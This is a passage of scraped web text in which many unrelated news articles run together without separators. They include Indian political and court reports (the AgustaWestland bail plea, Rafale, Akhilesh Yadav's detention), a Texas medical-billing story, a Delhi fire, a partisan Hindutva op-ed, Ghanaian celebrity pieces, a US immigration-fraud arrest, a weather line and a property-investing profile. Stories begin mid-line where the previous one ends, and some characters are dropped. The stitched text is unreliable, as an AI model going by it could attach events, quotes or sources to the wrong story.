MiG-27, Jaguar ground attack deep penetration fighter aircraft and Asia's top fighter jet Sukhoi Su-30MKI will also be seen in action at the VayuShakti 2019. At the IAF exercise, the Mi-17 V5 medium-lift attack helicopter will also unleash its firepower. The Mi-17 V5 helicopter is an upgrade of the Mi-17 helicopter.

At the exercise, there will be a firepower demonstration to showcase the ever-increasing potential of IAF's combat platforms and to assure the citizens its ability to safeguard Indias national interests.New Delhi: A Delhi court on Wednesday reserved its order on the bail plea of British national Christian Michel, the middleman accused in the Rs 3,600-crore AgustaWestland VVIP chopper deal case.

Special Judge Arvind Kumar said he would deliver the bail order on Saturday.

The Central Bureau of Investigation (CBI) and the Enforcement Directorate (ED) have opposed the bail plea.

Michel sought the bail, saying he has been in custody since December 4, 2018, and as per Section 167(2) of the Code of Criminal Procedure, the probe was supposed to be completed by February 3, and the chargesheet filed.

But it was not filed within the stipulated 60-day period, so he should be released on bail, Michel's defence counsel told the court.

The CBI told the court that the chargesheet in the case has already been filed against the accused persons, including Michel, and proceedings started.

Quoting provisions of Section 167(2) of the Code of Criminal Procedure, the CBI said that the 60-day criteria was not applicable here.

On its part, the ED said that rather than filing various prosecution complaints piecemeal, the agency is in the process of filing a detailed and comprehensive prosecution complaint.

Michel was extradited to India on December 4 from the United Arab Emirates (UAE). He is one of the three middlemen being investigated by the CBI and the ED in the VVIP chopper deal.

The ED arrested him on December 22, 2018.

In January 2018, the ED had lodged a request with the UAE authorities seeking extradition of Michel. Both the ED and the CBI had filed chargesheets in the bribery cases in Indian courts and non-bailable warrants had been issued against the accused.

In its chargesheet, the CBI had named former Indian Air Force chief S.P. Tyagi, his cousin Sanjeev Tyagi alias Julie, then IAF vice chief J.S. Gujral and advocate Gautam Khaitan as the four Indians involved in the scam.

The others named in the chargesheet included Giuseppe Orsi, the former chief of Italian defence and aerospace major Finmeccanica, and Bruno Spagnolini, former CEO of AgustaWestland, apart from middlemen Michel, Haschke and Gerosa.NEW DELHI: The Centre will try to table the CAG report in Lok Sabha on the last day of the Budget session on Wednesday. The government has been unable to table the report yet amid uproar from opposition members.

Congress had on Tuesday staged a walkout from the Lok Sabha after the government rejected its demand for a Joint Parliamentary Committee (JPC) probe into the Rafale fighter jet deal. Leader of the single largest party in Lok Sabha Mallikarjun Kharge said if Prime Minister Narendra Modi should come forth and constitute a JPC for a detailed inquiry into the deal if the government is not scared of hiding facts. "The Prime Minister does not have the courage. You constitute a JPC, we will prove the misdeeds in the deal," he said.

However, Union Home Minister Rajnath Singh rubbished the demand and accused the opposition party of misleading people by repeatedly raking up the Rafale fighter jet deal issue.

"The issue has been discussed in detail in the House and the Supreme Court has also put the matter to rest. The Congress has been raking it up every now and then. But the truth will remain. Politics is not done by misleading people. A person should have the guts to speak the truth," Singh said.

The senior Congress leader also demanded a discussion on the issue to which Speaker Sumitra Mahajan said that it had been debated in the House.

Accusing the government of leaking the CAG report on defence, Kharge said that it was tabled in the Rajya Sabha but not in the Lok Sabha. His charge was rejected by the Speaker, who said the reports were indeed tabled before the Lok Sabha -- an apparent reference to Minister of State P Radhakrishnan tabling CAG reports, including one on the defence services.NEW DELHI: BJP president Amit Shah will arrive in Prayagraj on Wednesday during which he will take a dip in the holy Sangam and meet various congregations of saints.

According to a statement issued by the BJP, Shah will go to the Sangam, which is the holy confluence of rivers Ganga and Yamuna, and offer his prayers around 11 AM on Wednesday.

He will be visiting various holy places and meet saints during his one-day visit, the party statement said.

Shah's visit assumes significance amid demands by various Hindutva groups for the government to bring in a law for the early construction of Ram temple in Ayodhya.

The BJP chief has reiterated on multiple occasions his party's commitment to the cause of temple construction.

The Ram temple title case is presently being heard in the Supreme Court.

The BJP chief is also likely to meet party workers during his day-long visit.

Amit Shah had on Tuesday said that the people of the country are standing solidly behind Prime Minister Narendra Modi and the "mahagathbandhan" of opposition parties will not be able to defeat Modi in upcoming Lok Sabha election.

Shah remarked that the Opposition is yet to decide their prime ministerial 'face' and they are dreaming about defeating Prime Minister Narendra Modi.

The BJP chief made the statements while addressing BJP leaders and workers from Gujarat after launching the 'Mera Parivar-Bhajapa Parivar' voter outreach campaign in Ahmedabad, according to PTI.

"The 2019 Lok Sabha election is an important step for India to become a superpower in the world. I have travelled across the country and I can see that people are standing like a rock with Prime Minister Narendra Modi. I have seen love for Modi in people's eyes," he said.

Shah said BJP workers often ask him about the 'mahagathbandhan'. "I want to tell them that it will not have any impact," he said.LUCKNOW: A day after former chief minister Akhilesh Yadav was allegedly stopped from boarding a flight at Lucknow airport, a 15-member joint delegation of Samajwadi Party (SP) and Bahujan Samaj Party (BSP) will meet state's Governor Ram Naik on Wednesday.

The SP-BSP delegation will hand over a memorandum to the state's Governor on the issue.

A war of words has erupted between the ruling BJP and the SP over the issue.

SP president Akhilesh Yadav had slammed the Yogi Adityanath government for preventing him from boarding a plane to attend a function at Allahabad University.

Akhilesh Yadav expressed his displeasure over the issue during a press conference and later took to Twitter to express his views.

"I have agreed to attend the programme at Allahabad University on December 27. I stated clearly that if there is a problem, the authorities must inform me in advance. As I was about board the flight, the police informed me that I am not allowed to travel to the University. This is undemocratic," the SP chief said

"Today, I was stopped from boarding a flight to attend a student union program at Allahabad University. I haven`t been given a reason why but it seems a general impression was that I would create a law and order problem," Akhilesh said in a tweet.

I was prevented from boarding the airplane without any written orders. Currently detained at Lucknow airport. It is clear how frightened the govt is by the oath ceremony of a student leader. The BJP knows that youth of our great country will not tolerate this injustice anymore! pic.twitter.com/xtnpNWtQRd  Akhilesh Yadav (@yadavakhilesh) 12 February 2019

The SP chief also issued a statement over his detention at the Lucknow Airport.

My statement on the negative and undemocratic politics behind my detention at Lucknow Airport. pic.twitter.com/dP7MvdjOcT  Akhilesh Yadav (@yadavakhilesh) 12 February 2019

Responding to the incident, Bahujan Samaj Party chief Mayawati also tweeted that the move was an example of the BJP governments dictatorship and anti-democratic.

Extremely condemnable that Samajwadi Party President and former UP Chief Minister Akhilesh Yadav was stopped at Lucknow airport today in order to prevent him from attending programme in Allahabad. This is anti-democratic and an example of total dictatorship of BJP government.  Mayawati (@Mayawati) 12 February 2019

West Bengal chief minister Mamata Banerjee too spoke on the same lines and condemned the move taken by the Uttar Pradesh government. "I have already spoken to @yadavakhilesh. We all condemn the arrogant attitude of the so-called #BJP leaders who didn`t allow Akhilesh to address the students. Even @jigneshmevani80 was not allowed. Where is the democracy in our country? And they are giving lessons to everybody!" she tweeted.

Andhra Pradesh Chief Minister and Telugu Desam Party supremo N Chandrababu Naidu also spoke to Akhilesh Yadav, condemning the incident.

"Strongly condemn the high-handed behaviour of Lucknow authorities against Samajwadi Party leader Akhilesh Yadav. Another instance of BJP`s intolerance against its political opponents. Really democracy is in danger," Naidu said.

Samajwadi Party leaders also created uproar in Rajya Sabha on Tuesday over the incident following which the Speaker adjourned the House till 2 PM.Tolerance and non-judgemental understanding may be the best way to try to save radicalised young Europeans who want to go and join militant Islamists in Middle Eastern conflicts, veteran French actress Catherine Deneuve said on Tuesday.

"Farewell to the Night", which premiered on Tuesday at the Berlin Film Festival, tells the story of Muriel, played by Deneuve, and her attempt to stop her grandson from joining Islamic State in Syria.

"The character in the film is certainly an intelligent woman, but she is also very tolerant, she is somebody who doesn`t judge, who tries to understand," Deneuve told a news conference.

Muriel`s quiet life on a horse-breeding farm in rural France is interrupted by a visit from her grandson Alex whom she raised after his mother`s death in an accident.

He has stopped by the farm to say goodbye to her before supposedly leaving to take up a job in Canada. During his short stay, Muriel finds out that her grandson has been converted to Islam through his girlfriend Lila.

Muriel, herself born in Algeria, accepts her grandson`s new religion and tries to understand him. But she later learns that Alex plans to leave for Syria to join Islamic State and she becomes torn between trying to dissuade him from going and having the authorities intervene.

CROSSING TO THE OTHER SIDE

"The whole point of the film for me was about how this down- to-earth woman... how all of a sudden, she can find her way to help her grandson when she realises that he`s crossed over to the other side," director Andre Techine said.

Techine said he wanted the audience to ask themselves what they would do if they found themselves in that situation.

Muriel turns for help to an ex-jihadist who returned to France after trying to live in Syria for a while.

The film portrays Alex as having little understanding of Islam or of the political situation in Syria. The internet is his primary source of information about his religion and, for him and Lila, life after death is the only one worth living.

Much of the characters` dialogue in the film is drawn from interviews with de-radicalised jihadists, Techine said.

"These are actually their own words ... I wanted those words to be heard by the audience," he said.

Out of more than 5,000 Europeans - mostly from Britain, France, Germany and Belgium - known to have joined the ranks of Islamist fighters in Syria and Iraq, some 1,500 have returned, Europe`s police agency said last year.Thousands of Texans seeking government help with surprise medical bills were hit with another shock last year: a clogged-up consumer protection bureaucracy.A massive backlog that began last summer left state regulators unable to provide timely help to the thousands of Texans who requested mediation from the Texas Department of Insurance.Its going to take us a while to get out of this backlog that were in, but were doing the things necessary to help more consumers, said associate commissioner Chris Herrick.The overwhelmed state mediation program highlights the widespread problem of surprise emergency medical bills, an issue that has sparked bipartisan outrage in Washington and Austin alike. In recent weeks, both President Donald Trump and U.S. House Speaker Nancy Pelosi have vowed reforms. Closer to home, the Texas Legislature has given state regulators increasing authority to force insurers and providers to the negotiating table.Surprise medical bills, or balance bills, result when insurers and health care providers cant agree on the price of a medical treatment, leaving the patient to make up any costs the insurer wont pay. The problem is particularly acute in Texas, where one in three emergency room admissions results in a surprise bill  nearly twice the national average, according to the Texas Association of Health Plans.Although the states mediation program was created in 2009, many Texans didnt qualify until reforms in 2015 and 2017  passed with bipartisan majorities in the Legislature  lowered the threshold to participate and dramatically expanded the number of patients eligible.Regulators believe those reforms, along with increased awareness and media attention  like NPRs coverage of an Austin school teacher who received a $109,000 surprise bill after suffering a heart attack  caused demand for mediation to skyrocket, they told The Texas Tribune."Because of those changes, our requests exploded," said the agencys spokeswoman, Stephanie Goodman. We're seeing routinely, starting this summer, three to four times the number of requests per month that we got last year.To put the demand in perspective, the Texas Department of Insurance received just 43 requests for mediation in 2013. The following year, the number surged to more than 600  and the numbers have climbed steeply ever since. The requests hit a record high of 4,519 in 2018, and regulators expect 8,000 this fiscal year.Herrick, the agency's associate commissioner and head of the complaint processing unit, encountered a backlog of about 4,000 mediation requests when he assumed responsibility of the program in the fall. At the time, there were only two staffers assigned to handle the requests. He added eight employees and is in the process of hiring two more.Under Herrick, the unit worked quickly to complete the basic  but key  step of entering complaints made by qualifying consumers into the states system. Acknowledgement letters, noting that the patient had sought mediation, were then sent to providers and insurers, effectively stopping the clock on bill collection efforts.For the consumer, that's when the protection begins, Goodman said.From there, insurers and providers have 30 days to hold an informal telephone conference. If the bill cant be reconciled, the case is referred to the State Office of Administrative Hearings for a formal mediation, which must occur within 180 days of the patients request.Working through the backlog has been kind of like the snake eating the mouse, Goodman said. While the agency has caught up, once you get the letters out, you start really following up to make sure they have the teleconference.Most cases are resolved in the informal conference; about 1,100, one-tenth of those eligible, have been sent to SOAH since 2013.Under current statute, not every insured Texan can seek recourse through the mediation program; Texans enrolled in federal programs like Medicaid and Medicare or in plans governed by the Employee Retirement Income Security Act are excluded. (Insurance department officials recommend consumers call the agencys hotline  1-800-252-3439  to see if they qualify or were caught in the backlog.)For those who qualify, limited state data suggests the program yields quick results.In 2018 alone, the agency received complaints about $8.8 million in qualifying surprise bills. After just the informal telephone conference, insurers coughed up $1.6 million more for those cases.But there's one glaring omission in the records tracked by the state: how much relief was passed on to the consumer. Goodman said when the insurance company agrees to pay more, it lowers the amount the consumer owes the provider, such as an emergency room doctor or an anesthesiologist. But she said the department does not keep track of how much the consumer pays at the end of the process.What we hear anecdotally is [that with] the additional payments, pretty much always, the bill goes away. That's what we hear over and over from the consumer: I didn't get another bill. Goodman said. Its working today; Im not saying there is a problem. But you could look at it [in the statute], and theres probably places to tighten it.Agency officials dont foresee a slowdown in the volume of requests coming in. But they said theyve already made strides to improve internal processes to prevent another backlog from choking the system. Kent Sullivan, who was appointed insurance commissioner in late 2017, has pushed the agency to update its technology and shifted more resources to handle consumer complaints, about half of which concern health care claims. He said that as the fifth commissioner in seven years, he found an agency that needed significant modernizations, and were making overdue changes.Weve worked to provide solutions for immediate problems while simultaneously making long-term improvements. Its somewhat like trying to rebuild the firehouse while youre answering calls to put out fires," he said.But state Sen. Kelly Hancock, the North Richland Hills Republican who helped create the mediation program, said he plans to file new and sweeping reforms this session to ensure patients dont have to deal with the repercussions of shock ER bills at all.At the end of the day, no matter how hard we work to improve and expand patient-triggered mediation, patients can still get caught in the middle, so I'm finished with that, he said. It's time to take this off the patients' plates entirely, and I'll be filing legislation to do that very soon. Stay tuned."New Delhi: A major fire broke out at a slum in Paschim Puri locality in the national capital during wee hours on Wednesday. According to news agency ANI, nearly 200 hutments have been completely gutted in the massive blaze.

At least 25 fire tenders were rushed to the spot to douse the fire.

Delhi: A fire broke out in a slum in Paschim Puri earlier today. Fire tenders were rushed to the spot. Fire under control now, cooling operations underway. pic.twitter.com/eAakxIICf7  ANI (@ANI) 13 February 2019

The fire tenders were rushed as soon as the information of the incident was received by the Fire Brigade officials.

The situation is said to be under control now and the fire-fighting operation is in its last stage.

A woman was injured in the blaze. She has been shifted to the hospital.

No casualties has been reported as of now.

''We got a call around 1 AM that a fire had broken out in slums. We immediately sent 20-25 fire tenders to the spot. It took us two hours to control the fire, a woman was injured and has been shifted to a hospital. More than 200 huts were caught in the fire,'' AK Jaiswal, a Fire department official, told ANI.

AK Jaiswal, Fire officer: We got a call around 1 AM that a fire had broken out in slums. We immediately sent 20-25 fire tenders to the spot. It took us 2 hours to control the fire, a woman was injured and has been shifted to a hospital. More than 200 huts were caught in the fire. pic.twitter.com/bQtsgJ0FYa  ANI (@ANI) 13 February 2019

The incident comes a day after 17 people were killed and several others injured in a massive fire at a hotel in Karol Bagh, Central Delhi.

A massive fire swept through a four-floor hotel in central Delhis Karol Bagh in the early hours of Tuesday, killing at least 17 guests, including two people who jumped off the building in a desperate bid to save themselves.

Prime Minister Narendra Modi was among those who condoled the loss of lives.

Deeply saddened by the loss of lives due to a fire at Karol Bagh in Delhi. I convey my condolences to the families of those who lost their lives, he tweeted.

Chief Minister Arvind Kejriwal, who was among the many politicians and officials who visited the spot, announced Rs 5 lakh compensation for the next of kin of those killed.

It is a very tragic incident. It seems that there may have been some lapses. A magisterial probe has been ordered to investigate the cause of the incident.NEW DELHI: With West Bengal Chief Minister Mamata Banerjee in Delhi to attend a mega opposition rally, posters have been put up in the national capital mocking the Trinamool Congress chief. Posters carrying captions which read 'Didi, smile please, you are in a democracy' and 'Welcome to Delhi, where democracy is alive and kicking' have been put up by an organisation known as Youth For Democracy.

The posters put up at several places across the city have caricatures of the West Bengal Chief Minister along with different captions aimed at taking a dig at her over various developments in her state recently.

Posters put up across Delhi. West Bengal Chief Minister Mamata Banerjee is in the national capital today to join the opposition protest here today. pic.twitter.com/s9L6IcfW20  ANI (@ANI) February 13, 2019

They have been installed at major areas of Jantar Mantar road, Bang Bhawan (Hally Road) and Windsor Palace Circle Area.

Mamata is in Delhi to join the Delhi CM Arvind Kejriwal's Aam Aadmi Party led 'Tanashahi Hatao, Desh Bachao' (Remove Dictatorship, Save Country) rally at Jantar Mantar. Along with Banerjee, Andhra Pradesh Chief Minister Chandrababu Naidu are also expected to take part in the opposition protest.

She is also likely to visit Parliament on Wednesday where she is expected to meet party lawmakers and MPs from other parties. She is also likely to participate at an official event in the city.

Mamata Banerjee has emerged as one of the most formidable voices of the opposition and her visit to Delhi assumes significance after the protest she led in Kolkata over CBI's attempt to interrogate the city police chief in chit fund scam cases created a political storm.

She has been at loggerheads with the ruling BJP, which is eyeing to garner at least 22 of 42 seats from Bengal in the upcoming Lok Sabha elections.

Mamata had in January organised a rally of opposition parties in Kolkata, in which she had appealed all leaders to unite with the aim of ousting the Narendra Modi government at the Centre.Mumbai: Actor Irrfan Khan, who was undergoing treatment for a neuroendocrine tumour in London, is back in the country.

His arrival in the country has already led to speculation with some claiming that he will start shooting the sequel to "Hindi Medium" from February 22 and some stating that he is being treated at a hospital here.

A source close to the actor confirmed that the globally renowned star is back, but dismissed all other claims.

"Irrfan is back in Mumbai. But people are publishing all sorts of stories without any confirmation. They are not true," the source said. "I will get an update on his health and when will he be resuming work when I meet the actor soon," the source added.

Back in March last year, Irrfan had revealed that he has been diagnosed with a rare tumour. Soon after, he went to London for treatment.

The source also said that "Hindi Medium 2" will happen, "but not sure when the shooting will start".

Directed by Saket Chaudhary, the 2017 hit film "Hindi Medium" revolves around a couple who want to give their daughter the best education so that she becomes accepted by the elite in society. It also features Pakistani actress Saba Qamar.

Dinesh Vijan's production "Hindi Medium 2" will flash-forward by a decade and will narrate the story of Irrfan's character Raj.

When IANS asked about the status of the sequel, Vijan said: "I will make an official announcement about the film in a fortnight."I remember not many years ago when Hindu politicians in India would seldom announce their Hindu identity. Indeed, it seemed that even to call oneself Hindu was communal and an unpardonable sin against India's secular state. Hindu politicians, on the contrary, worked carefully to prove their secular credentials by catering to minority religious banks, by respecting atheist Marxists, or by ignoring their religious identity altogether. If a Hindu politician did acknowledge their Hindu background it was only done as a necessity and accompanied by apologetics, in case it offended anyone. No significant defense of Hinduism occurred at any political or intellectual levels of the Nehruvian state.

This situation has changed radically since 2014, when a perceived Hindu vote elected Narendra Modi in a Lok Sabha landslide, shaking the core of the old anti-Hindu political atmosphere. Today, former anti-Hindu politicians, or those not previously highlighting any religious identity, are now claiming to be Hindus and visiting temples during the electoral season with a new media fanfare. Now, Hindu groups, and even Brahmins, are included in electoral promises by political parties that had previously treated them as political pariahs.

However, this situation may not have changed as fundamentally as it appears. The same groups that were previously anti-Hindu remain stridently anti-Hindutva, in which they place may put important Hindu causes, including Ram Mandir. The previous battle between the 'good secular' forces and the 'bad communal' Hindu groups has been recast as 'good Hindus' versus 'bad Hindutva' - though previously, it was mainly the Hindutva forces that were supporting neglected and much-maligned Hindu causes. It is more a change of terms than a real change of policies or promises aside.

The politics of 'Hinduism vs Hindutva'

BJP and RSS groups, as well as Shiv Sena, that were previously condemned for being pro-Hindu are now criticized as being 'bad Hindus', and by the same political groups that today claim to be 'good Hindus' - but previously avoided asserting any Hindu identity though they took up defending every minority cause.

Such self-proclaimed 'good Hindus' claim that for Hindus to be political is wrong, and that Hindus should never vote in unity or form a vote block like other religious groups. Yet, they forget that the great Hindu classics of Ramayana and Mahabharata reflect Hindu rulers and their actions, including warfare. Even that oldest of texts, the Rigveda, honours great dharmic rulers and kings, not simply Brahmins or rishis.

Such 'new Hindus' portray intolerant Hindutva as the biggest threat to Hinduism. Yet, these same groups are silent on the extensive missionary, Marxist and Islamist efforts to discredit or convert Hindus - even seeming to be in complicity with them. Hindus can certainly debate as to what Hinduism truly is, and it is a vast and many-sided tradition, but there is no question that the real danger to Hinduism is coming from outside the tradition, not from Hindutva.

There is also a regional slant to this 'Hinduism vs Hindutva' debate. Since South India is more overtly Hindu in culture than North India, an effort is being made to define South Indian Hinduism and its temple culture as a regional culture, perhaps not Hindu at all, but Dravidian, Kerala, Telugu culture or something else - or to denigrate North Indian Hinduism as Hindutva - as in the formula Hindi-Hindu-Hindutva.

The critics of Hindutva often claim that Hindutva is Hinduism in a Semitic form, recast according to the limitations and exclusivism of the Abrahamic faiths. Yet, the same groups do not criticize Islam or Christianity as biased but reach out to them and praise their religions, standing with them politically against Hindutva forces!

What form of Hinduism are the new defenders of 'Hinduism vs Hindutva' promoting, and which gurus do they honour? It remains undefined, but emphasizes a political attack on Hindutva, and is not a spiritual articulation of Hinduism. Such schemes have one primary aim, which is to politically divide the Hindus, including placing caste and regional identities over any unitary Hindu identity.

'Hinduism vs Hindutva' is a false dichotomy

'Hinduism vs Hindutva' is a false dichotomy. There are certainly different trends in Hindu thought, which cannot be reduced to one pattern. But Hindutva groups have formed an important force in protecting Hinduism at intellectual, cultural and spiritual levels. The new leftist neo-Hindus are more of a political reaction against mainstream Hinduism than an attempt to defend what is good in Hinduism. What have they produced in honouring or protecting Sanatana Dharma, its temples, deities, gurus and history from damage or distortions? So far, only an echo.

(Disclaimer: The opinions expressed above are the personal views of the author and do not reflect the views of ZMCL.)All too soon, Valentines Day is here again and, as expected, many will take the opportunity to give their loved ones a nice treat.

This is a season of love and it is only right that every couple gets involved and share some romantic moments.

But if you have not decided on what youll be doing yet, then maybe its time to take a cue from those who have been at this stage before.

Former president Rawlings and wife, Nana Konadu Agyeman Rawlings. Source: Myjoyonline.com

Source: UGC

READ ALSO: 5 easy ways NPP can win 2020 election hands down

Love is often complicated, but there are some prominent Ghanaian couples who have found a way to keep theirs going for many, many years.

So, as Vals day approaches, lets take a look at some Ghanaian couples you should aspire to be like:

1. Rawlings and Konadu

Former president Jerry John Rawlings and his wife, Nana Konadu Agyeman-Rawlings, are perhaps the most iconic couple in the country.

Rawlings and Konadu have been married since 1977 and are blessed with three amazing and successful children.

The couple have never for once washed their dirty linens in public and their relationship has only grown stronger and stronger.

This is definitely a couple you and your partner should aspire to be as we mark Vals day.

2. Okyeame Kwame and Annica

Another Ghanaian couple that is very worthy of emulation is rapper Okyeame Kwame and wife, Annica Nsiah-Apau.

The couple marked the 10th year of their marriage in February with some wonderful photos detailing their journey so far.

Okyeame Kwame and Annica are still a young couple, but it is fair to say they have demonstrated a lot of maturity in their marriage life.

As far as relationships go, they are so worthy of emulation and thats even an understatement.

3. Pastor Otabil and Joy

Many people know of Pastor Mensa Otabil as the founder of the International Central Gospel Church (ICGC) but know very little about his wife.

Pastor Otabil is married to Joy Otabil, with the pair getting married over three decades ago (in 1986).

The couple is also blessed with four children and have both inspired so many people with their deeds.

READ ALSO: Rawlings jabs Kufuor for causing high HIV prevalence in Ghana

4. Ace Ankomah and Josephine

As far as iconic Ghanaian couple go, you cannot leave out private legal practitioner Ace Anan Ankomah and his wife.

Although Mrs. Ankomah is not usually heard of in the media like her husband, she is known to be a true inspiration.

In fact, on her 50th birthday, Ace Ankomah wrote her a long romantic letter to prove his love for her.

How many young lovers even think of doing that? As we mark Vals day, the lawyer and his wife are surely one to aspire to be like.

5. Kufuor and Theresa

The last but not the lease Ghanaian couple you should look to emulate is former president John Agyekum Kufuor and his wife Theresa Kufuor.

The couple has been married since 1962, but not for once have they been hit by a scandal in the public.

Kufuor and Theresa are blessed with five children whom they raised very well. This is a couple that has been married for more than 50 years. It doesnt come any better!

Ghana News Today: JHS and SHS Certs Should Become Diplomas / Willie Roy Dead| #Yencomgh

READ ALSO: John Mahama shares photos of his newly-born 'grandchild'

Do you have a story to share with us? Inbox us on our Facebook/Instagram page and we could feature your story.

Click here to get the latest exciting English Premier League news. Get match highlights, reports, photos & videos all' in one place.

Source: Yen- Ghanaian political activist, A-Plus, has revealed a number of social projects he has undertaken in Ghana

- His efforts include support for widows and monies provided for surgeries

- A-Plus explained that it is his way of contributing to Ghana's development

Ghanaian musician and political activist, Kwame Asare Obeng, better known as A-Plus, has spoken about a number of developmental projects he has carried out in Ghana.

His decision to delve deep into such activities stems from questions that have been asked about his activities outside music and politics.

Ghanaweb.com reports that he has drilled 10 boreholes for a number of communities in Ghana and these will soon be commissioned.

READ ALSO: Mahama welcomes his 'first grandson' with lovely photos

Information available to YEN.com.gh shows that he has so far given support valued at about GHC200,000, and it includes GHC40,000 given to a boy to undergo a hole-in-heart surgery.

Again, A-Plus has raised various amounts for a widow at Mampong in the Ashanti region, who lost her parents, her children and her husband to a fire outbreak.

He has also assisted a boy who lost his leg and had to get prosthetic ones, after being knocked down by a car.

It does not end there; the musician also supported veteran popular actor Jaga Pee undergo surgery.

A-Plus, has again helped a widow at Adansi Fumso in the Ashanti region by opening a shop for her, to cater for herself and her children, when news emerged that her two orphaned kids wear the same tattered school uniform in shift.

Commenting on these charity activities, A-Plus said it is his own way of contributing to the development of Ghana.

YEN.com.gh earlier reported of his prediction that the party will be in power for only four years.

He again indicated that 90 out of every 100 stupid people are NPP members

He also allegedly stated that Ghanaians now regret voting for the NPP and that he will not be affected if the party goes into opposition.

READ ALSO: 3-year-old Omanya knows more than he should (Video)

Ghana News Today: JHS and SHS Certs Should Become Diplomas / Willie Roy Dead| #Yencomgh

Click here to get the latest exciting English Premier League news. Get match highlights, reports, photos & videos all in one place.

Source: Yen NewsFormer president John Dramani Mahama and his wife, Lordina Mahama, are very happy at the moment.

This follows the birth of a baby the former president has described as his grandson.

Taking to social media to announce the birth of the baby boy, Mahama shared photos of himself and the former first lady with the newly born.

In one of the photos, the former president could be seen in white sitting besides the baby who was sleeping in a glass court the at the hospital.

READ ALSO: Meet 3-year-old brainy Nii Omanya who knows more than he should (Video)

"Grand daddy duties. Welcome Nhyira. Congrats Mr. & Mrs Nana Kofi Gaisie," Mahama captioned the photo on Instagram.

The other photo had the former first lady carrying the baby in her arms as she excitedly gazed at him.

This time, the photo was captioned: "Our 'daughter', Yaka, delivered a bouncing baby boy today. Nhyira, welcome to the world."

Looking at the captions for the two beautiful photos, the newly-born baby, given the name Nhyira, was born by one Yaka, a lady Mahama and his wife consider as their daughter.

READ ALSO: Photos of pretty Ghanaian banker who passed away on the morning of her wedding break hearts

Mahama's post has since gathered a lot of reactions from his supporters with many sending their congratulations while others have already predicted the boy will become a strong member of the NDC in the future.

@kyabebs congratulated the former president on becoming a granddad: "Grandpa John. Congratulations Sir.n#We know your daughter will have the best grandpa in your generation."

@issahbukari also sent a congratulatory message and thanked Allah for the new addition to the Mahama family: "We thank Allah for the new family member. Congratulations."

@juliusthevoice brought the political twist to the newborn's life: "One strong NDC man is welcome to the family."

READ ALSO: My daughter is so pretty - Tracy Sarkcess gushes over Titi's amazing new photos

Ghana News Today: EOCO secures order to freeze assets of Menzgold and related companies| #Yencomgh:

Do you have a story to share with us? Inbox us on our Facebook/Instagram page and we could feature your story.

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Source: YenOur directory features more than 18 million business listings from across the entire US. However, if we're missing your business, add your business by clicking on Add Your Business.Latest News

iami, Florida - A Cuban citizen residing in Miami, Florida, was arrested on February 5, by federal agents after being indicted on one count of making false statements in an immigration document.

Assistant Attorney General Brian A. Benczkowski of the Justice Departments Criminal Division, U.S. Attorney Ariana Fajardo Orshan of the Southern District of Florida, Special Agent in Charge George L. Piro of the FBIs Miami Field Office and Special Agent in Charge Anthony Salisbury of U.S. Immigration and Customs Enforcements Homeland Security Investigations (HSI) Miami Field Office made the announcement.

Saul Santos Ferro, 73, was charged in an indictment alleging that Santos made a number of lies and misrepresentations in his application to register as a permanent resident which he knowingly presented to U.S. immigration authorities, ultimately obtaining lawful permanent resident status. Specifically, the indictment asserts that, when he applied to register as a permanent resident, Santos failed to disclose his membership or affiliation with any organization, falsely stated that he never served in or been a member of a police unit, and falsely stated that he never served in any situation that involved detaining persons. In fact, Santos served as a high-ranking officer in the Cuban governments Department of State Security or Departamento de Seguridad del Estado (DSE) for decades. Additionally, Santos falsely stated that he never by fraud or willful misrepresentation of a material fact, ever sought to procure, or procured, a visa, other documentation, entry into the United States, or any other immigration benefit.

Saul Santos Ferro allegedly lied to immigration authorities about his membership in the Cuban governments internal security force to obtain lawful permanent residence status, said Assistant Attorney General Benczkowski. The Justice Department will continue to aggressively prosecute those who seek to exploit our immigration system through fraud and deceit.

Individuals who make false statements in immigration documents expose themselves to the serious threat of federal prosecution, said U.S. Attorney Fajardo Orshan. Law enforcement in South Florida will continue to work together to prosecute those individuals who knowingly deceive the authorities about their criminal past or foreign ties, in order to fraudulently obtain immigration benefits.

The United States has a lawful system of immigration that is necessary for our country to be a prosperous and orderly nation, said Special Agent in Charge Piro. When the system is circumvented, the FBI and our law enforcement partners have a duty to investigate in order to protect our citizens from lawbreakers who may be hiding amongst us.

The arrest of Saul Santos Ferro should send a clear message that we will not tolerate individuals who purposely deceive the government and violate our immigration laws, said HSI Special Agent in Charge Salisbury. HSI is committed to working with our federal law enforcement partners to ensure that these crimes are properly investigated and prosecuted to the fullest extent of the law.

Santos Ferro had his initial court appearance today before U.S. Magistrate Judge Edwin G. Torres for the Southern District of Florida, who ordered him released to home confinement with GPS monitoring and a $100,000 bond.

The charges contained in the indictment are merely allegations and the defendant is presumed innocent until proven guilty beyond a reasonable doubt in a court of law.

The case is being investigated by the FBI and HSI. The case is being jointly prosecuted by Trial Attorney Rami S. Badawy of the Criminal Divisions Human Rights and Special Prosecutions Section and Assistant U.S. Attorney Daniel Cervantes of the Southern District of Florida.Venice, FL (34285)

Today

A mix of clouds and sun. A stray shower or thunderstorm is possible. High 89F. Winds W at 5 to 10 mph..

Tonight

Cloudy skies. A stray shower or thunderstorm is possible. Low 74F. Winds ENE at 5 to 10 mph.Chriss investment journey began with a question. He says, I had a high-school friend ask me, Chris, could you give up having one coffee a day if it meant you could buy an investment property? 

At the time, Chris was 21 and had just started working in IT. Flush with cash after his first pay cheques, he purchased a new car and spent his salary on going out to dinner and the movies. Meanwhile, his friend had started investing his money in property.

That friend bought in neighbourhoods I wouldnt have even dreamt of buying in at the time  old rundown apartments in Hurstville, followed by Eastwood.

Five years later, in 2010, Chris and his wife Mandy bought their first home in the suburb of Castle Hill in NSW, where they both grew up. They began toying with the idea of property investing but didnt know where to begin.

We knew we should eventually invest when the time was right, but we didnt know how or what to do, Chris says.

Four years later, the couple purchased an apartment in Lane Cove o the plan  living in this new location would bring them closer to their workplaces. When Chris and Mandy moved into their new home in 2016, they leased out their Castle Hill duplex. Not long after, however, the media finally gave the pair the kick they needed to get started on becoming serious investors and learning about property.

Mandy forwarded me an online article about our friends strong nine-property portfolio and how he could almost retire based on the passive income he was receiving via rent and dividends. This lit a fi re under us, and I had vivid flashbacks to that question he asked me all those years ago, Chris says.

We reached out to our friend and asked the burning question: how did he do it? He told us his journey, and it began from there.

AT A GLANCE

Years investing: 9

Current number of properties: 6 (including PPOR)

Portfolio value: $3.7m

Making a mud map

Chriss friend introduced the couple to his mentor, a mortgage broker. Together, they developed a plan based on the properties that Chris and Mandy had already acquired.

They did projections based on our current income and expenditure, and where it could lead us. They called it a mud map. They drew a diagram of our current properties, their current market values, how much equity they thought we could draw, and where that equity could take us.

